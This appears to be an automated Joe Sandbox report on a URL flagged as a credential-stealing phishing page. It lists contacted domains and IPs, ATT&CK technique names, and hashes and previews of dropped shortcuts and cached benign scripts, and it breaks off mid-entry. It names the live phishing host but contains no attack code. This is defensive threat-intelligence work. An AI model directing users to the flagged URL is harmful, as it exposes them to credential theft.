Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://groun-93ed.ehajdranrsuw.workers.dev/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
groun-93ed.ehajdranrsuw.workers.dev	104.21.26.127	true	false		unknown
media.istockphoto.com	18.165.116.61	true	false		high
code.jquery.com	151.101.130.137	true	false		high
cdnjs.cloudflare.com	104.17.25.14	true	false		high
maxcdn.bootstrapcdn.com	104.18.10.207	true	false		high
www.google.com	142.251.15.99	true	false		high
runn1rnl8xzmqeh0kvov.web.app	199.36.158.100	true	false		unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false		unknown
i.ibb.co	169.197.85.95	true	false		high
ka-f.fontawesome.com	unknown	unknown	false		high
kit.fontawesome.com	unknown	unknown	false		high
images.sftcdn.net	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://media.istockphoto.com/vectors/email-marketing-icon-vector-graphics-vector-id1257404830?k=20&m=1257404830&s=612x612&w=0&h=LOwm34ubd_vUzqIi5k3rxflh04NbZTZEnSTYSVmX2Jk=	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://groun-93ed.ehajdranrsuw.workers.dev/	true		unknown
https://runn1rnl8xzmqeh0kvov.web.app/ucspqsuf8bxoiymvvdy5p6pp9uzvyqj/hover.css	false		unknown
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://code.jquery.com/jquery-3.1.1.min.js	false		high
blob:https://groun-93ed.ehajdranrsuw.workers.dev/d50ef0a8-8c81-41e6-b082-4835bcb9a2df	true		low
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://code.jquery.com/jquery-3.4.1.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fontawesome.com	chromecache_93.2.dr, chromecache_86.2.dr, chromecache_89.2.dr, chromecache_94.2.dr	false		high
https://kit.fontawesome.com	chromecache_98.2.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_102.2.dr	false		high
https://getbootstrap.com)	chromecache_102.2.dr, chromecache_96.2.dr	false		low
https://ka-f.fontawesome.com	chromecache_98.2.dr	false		high
https://www.istockphoto.com/photo/license-gm1257404830-?utm_medium=organic&utm_source=google&amp	chromecache_103.2.dr, chromecache_88.2.dr	false		high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_102.2.dr, chromecache_96.2.dr	false		high
http://opensource.org/licenses/MIT).	chromecache_97.2.dr	false		high
https://fontawesome.com/license/free	chromecache_93.2.dr, chromecache_86.2.dr, chromecache_89.2.dr, chromecache_94.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.18.10.207	maxcdn.bootstrapcdn.com	United States		13335	CLOUDFLARENETUS	false
151.101.130.137	code.jquery.com	United States		54113	FASTLYUS	false
18.165.116.61	media.istockphoto.com	United States		3	MIT-GATEWAYSUS	false
142.251.15.99	www.google.com	United States		15169	GOOGLEUS	false
169.197.85.95	i.ibb.co	United States		26548	PUREVOLTAGE-INCUS	false
104.21.26.127	groun-93ed.ehajdranrsuw.workers.dev	United States		13335	CLOUDFLARENETUS	false
199.36.158.100	runn1rnl8xzmqeh0kvov.web.app	United States		15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
104.17.25.14	cdnjs.cloudflare.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1427711
Start date and time:	2024-04-18 01:27:22 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://groun-93ed.ehajdranrsuw.workers.dev/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.phis.win@16/50@32/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 74.125.136.94, 108.177.122.84, 142.250.105.100, 142.250.105.138, 142.250.105.113, 142.250.105.101, 142.250.105.139, 142.250.105.102, 34.104.35.123, 142.251.15.95, 23.79.29.49, 108.177.122.138, 108.177.122.101, 108.177.122.100, 108.177.122.113, 108.177.122.102, 108.177.122.139, 64.233.185.95, 108.177.122.95, 142.250.105.94, 20.12.23.50, 199.232.214.172, 72.21.81.240, 192.229.211.108, 104.18.40.68, 172.64.147.188, 104.21.26.223, 172.67.139.119, 20.166.126.56, 172.253.124.94
Excluded domains from analysis (whitelisted): ka-f.fontawesome.com.cdn.cloudflare.net, slscr.update.microsoft.com, clientservices.googleapis.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, update.googleapis.com, e10700.dsca.akamaiedge.net, glb.sls.prod.dcat.dsp.trafficmanager.net, kit.fontawesome.com.cdn.cloudflare.net, s4-san.cloudinary.com.edgekey.net, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, ajax.googleapis.com, encrypted-tbn0.gstatic.com, fonts.gstatic.com, wu.ec.azureedge.net, ctldl.windowsupdate.com, wu-bg-shim.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, edgedl.me.gvt1.com, clients.l.google.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: https://groun-93ed.ehajdranrsuw.workers.dev/

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 17 22:28:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.985128530362376
Encrypted:	false
SSDEEP:	48:8hdmTCm2HWidAKZdA19ehwiZUklqehLy+3:8S3r0y
MD5:	39FBDE4464EEE68193DA522D4411D8CF
SHA1:	80C2831F85CFA1EBE9E95A14CD647340888A4715
SHA-256:	B468097E69503EC31C97E5A5086641E7967E54E3A97B21CC5AFFFD664C60CFAA
SHA-512:	B1E6FF2513295FECC3FD5B68C34EAA3B41211A92BD6EBAFE8210CD5349A9ADF0CB6607A9FEA90064E5604C1938D02686A24CCD39C50EDF6B36CB2D0D7CD7F551
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......a.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 17 22:28:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002274349241432
Encrypted:	false
SSDEEP:	48:8UdmTCm2HWidAKZdA1weh/iZUkAQkqehky+2:8l3Z9QVy
MD5:	15719EC4CE422643C88095D210D8719F
SHA1:	80EFEAFF30CE0AB609957867FDBACA9635F4B86D
SHA-256:	2867D9373025AAE90AD0E7E8AF0F932F7FBBA3B43D2BA2F29A69B3EB77B907AB
SHA-512:	5EAD8B4A151A0F1837D1577C2D96E24C3E0E27C14EA5CDC842DB61380A91A30626D2CC0EA8E41E707B40EA41BDF4F8AA1CBF57A23C6BBC395E112121D7E9BB27
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....V.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0106899861223875
Encrypted:	false
SSDEEP:	48:8x3dmTCmsHWidAKZdA14tseh7sFiZUkmgqeh7s+y+BX:8x437noy
MD5:	0140A1065C6545FEC1AEB1D627D51F5F
SHA1:	ADE0615FEBB3BF10CF8B93717CC8F178EBA4106C
SHA-256:	92444C632A6DB9696AC18C8BA5526E5552C07FEEE7A3AE96F6FA2B5F1E856E15
SHA-512:	BDDF971CAF4924221280A889845C1BBD211492C5A106D5E27E6A4FFB8FD366FC2A1A441346071E3B6180A90539AED83494DA9B929AEAC607DF347F167E59670E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 17 22:28:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.000782298912383
Encrypted:	false
SSDEEP:	48:8JdmTCm2HWidAKZdA1vehDiZUkwqehAy+R:8q362y
MD5:	CF96EECE178C6B0CDD32112AD15092D0
SHA1:	541CA21AF39F87824DF8AB6A582A7F3CC7FC23D4
SHA-256:	81982FF95DF65F676D011FE50892606FBEB8805D13A6EF53C28E4F25DDD8C747
SHA-512:	03477F0AB7C0DDF97F32EFAA58737C43A2D1DF2C70C2874494DF63F79D784C4F709B22635AE8C2E41AFD848D286171E9D39FB9E51EC684BC8CCB5159C71CABBA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......P.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 17 22:28:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.988308423437089
Encrypted:	false
SSDEEP:	48:8NfdmTCm2HWidAKZdA1hehBiZUk1W1qehyy+C:8NQ369Sy
MD5:	964246D4608283ECA3B7A7E4ADB212CB
SHA1:	1C204B8CD2D26831C57CB760336C992B07DD82A0
SHA-256:	54E7153891216CE1E6A17EA73E23A9D37E59E448ECCFCDEF48D5F011397AE52F
SHA-512:	8DADF266366BECA0B50BB7C7B473F671F2D4C986A6939E4550A53C7DD8F434B95C00FB0C5C0DD3B038D6AA6337F8AF649A56C0C2CBC43095AECD561A15F161ED
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....#E\.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Apr 17 22:28:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9986633742222755
Encrypted:	false
SSDEEP:	48:8idmTCm2HWidAKZdA1duT+ehOuTbbiZUk5OjqehOuTboy+yT+:8T3ET/TbxWOvTboy7T
MD5:	2A42D4369E4C60518509F7B89962CAC6
SHA1:	0D3D3F22EF45023C79A9B75221403D456DCA6F86
SHA-256:	8F8D40C2DBA37E61320EE100B26B18AC40D20AE00A42464BCA9D93032CA9FB5D
SHA-512:	B413C5E7F218321CB9662C7DF15F0A233748263A0FB3534ECA49010C309395100489C2EE61482418385C667C1C4793951AA487542D94C54BA7DBA6F3D7F83EFC
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....bSF.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 101

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	422
Entropy (8bit):	5.288029260973069
Encrypted:	false
SSDEEP:	12:UNAFWmO6ZRoMqt6p3Et//0ndNhhKayVVey90H1BGuL/6f7:RHOY7af/Lwy96DGSSf7
MD5:	7BE6170E0A828586DA13D24BD8B5DF5B
SHA1:	0B0A3446427EE7B5D707435A5910949A0CF4D33D
SHA-256:	2BC55CCCEF92CA55D0D6FA4FC66BF1064EC6B35D8BCD2B75EB561DEA0F4BBE72
SHA-512:	0AEC0CE2D1F55ECEAEDD85E70B5A4B9DF10623167B7E06C161772BC6E4088C036335FD24312E45744C9BE8A2E6EC6659301FA1B25EB2175CE83FCDBA2F945C47
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css?family=Yellowtail&display=swap
Preview:	/* latin */.@font-face {. font-family: 'Yellowtail';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/yellowtail/v22/OZpGg_pnoDtINPfRIlLohlvHwQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}.

Chrome Cache Entry: 102

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 103

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=3, description=Email Marketing icon. Use for commercial, print media, web or any type of design projects.,\001, xresolution=140, yresolution=148], progressive, precision 8, 612x612, components 3
Category:	downloaded
Size (bytes):	23156
Entropy (8bit):	7.354145780531683
Encrypted:	false
SSDEEP:	384:9fxnGfkft5vv6aLCp+O8GfAAwBnHfzUh2AeyUa8Pe+laF3rHe/F1oebi:VxW8fvv6qCp+rGfA9BHfzUh2Ra8PX2b9
MD5:	220F0A2E0C38D4D877BBE51E6B472FEA
SHA1:	CF5D21C23286BBEA4FD18C110FB915C7A4A1DAD1
SHA-256:	20D4C42F1DF1E57F25D78AE9411F6025ED82EDA147DE782F9D1649A5D8E81725
SHA-512:	7E5024E85C3B7DF9EB462B5F4A7594C89B6F9469729C58EBCDAC06467263B01352EC7CA5AB7927D2F87799FD8630E116F0AE206A30DC5BFA741D910CD25B1262
Malicious:	false
Reputation:	low
URL:	https://media.istockphoto.com/vectors/email-marketing-icon-vector-graphics-vector-id1257404830?k=20&m=1257404830&s=612x612&w=0&h=LOwm34ubd_vUzqIi5k3rxflh04NbZTZEnSTYSVmX2Jk=
Preview:	......JFIF.....,.,......Exif..II*...........Z...2...............................Email Marketing icon. Use for commercial, print media, web or any type of design projects.,.......,..........uhttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/">..<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">...<rdf:Description rdf:about="" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:Iptc4xmpCore="http://iptc.org/std/Iptc4xmpCore/1.0/xmlns/" xmlns:GettyImagesGIFT="http://xmp.gettyimages.com/gift/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:plus="http://ns.useplus.org/ldf/xmp/1.0/" xmlns:iptcExt="http://iptc.org/std/Iptc4xmpExt/2008-02-29/" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" photoshop:Credit="Getty Images" GettyImagesGIFT:AssetID="1257404830" xmpRights:WebStatement="https://www.istockphoto.com/legal/license-agreement?utm_medium=organic&utm_source=google&utm_campaign=

Chrome Cache Entry: 104

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 225 x 225, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4242
Entropy (8bit):	7.920684072000108
Encrypted:	false
